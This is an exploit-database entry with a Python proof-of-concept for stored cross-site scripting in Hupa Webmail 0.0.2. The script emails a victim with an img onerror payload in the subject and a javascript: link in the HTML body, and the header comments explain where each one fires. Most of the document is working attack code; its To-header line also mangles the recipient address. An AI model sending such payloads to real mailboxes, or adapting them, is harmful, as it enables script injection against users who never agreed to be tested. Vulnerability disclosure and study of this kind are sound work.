hupa webmail 0.0.2 - Persistent Cross-Site Scripting

2012-08-20T00:00:00
ID EXPLOITPACK:F92CE33B461A5BF2E3B951EF5E85058E
Type exploitpack
Reporter Shai rod
Modified 2012-08-20T00:00:00

Description

hupa webmail 0.0.2 - Persistent Cross-Site Scripting

                                        
                                            #!/usr/bin/python

'''

# Exploit Title: Hupa Webmail Stored XSS
# Date: 14/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://james.apache.org/hupa/
# Software Link: http://repo1.maven.org/maven2/org/apache/james/hupa/hupa/0.0.2/hupa-0.0.2.war
# Version: 0.0.2
 
#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

Hupa is an Rich IMAP-based Webmail application written in GWT (Google Web Toolkit).
Hupa has been entirely written in java to be coherent with the language used in the James project. And It has been a reference of a devloping using GWT good practices (MVP pattern and Unit testing)
Hupa is a functional and well designed email client, ready for reading, sending and managing messages, but it still lacks of many features email clients nowadays have.
Hupa Webmail Stored XSS in Subject 



Vulnerability Description
=========================

1. Stored XSS in email subject.

XSS Payload: XSS POC<img src='1.jpg'onerror=javascript:alert("XSS")>

Send an email to the victim with the payload in the subject field.
XSS Will be triggered in message listings (Inbox etc..).


2. Stored XSS in e-mail body.

XSS Payload: <a href=javascript:alert("AnotherXSS")>POC MAIL</a>

Send an email to the victim with the payload in the email body, once the user clicks on the url the XSS should be triggered.

'''

import smtplib

print "###############################################"
print "#      Hupa Webmail 0.0.2 Stored XSS POC      #"
print "#            Coded by: Shai rod               #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_password = "qwe123"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "Hupa Webmail XSS POC"
xss_payload = """<img src='1.jpg'onerror=javascript:alert("XSS")>"""

# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject + xss_payload) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("AnotherXSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"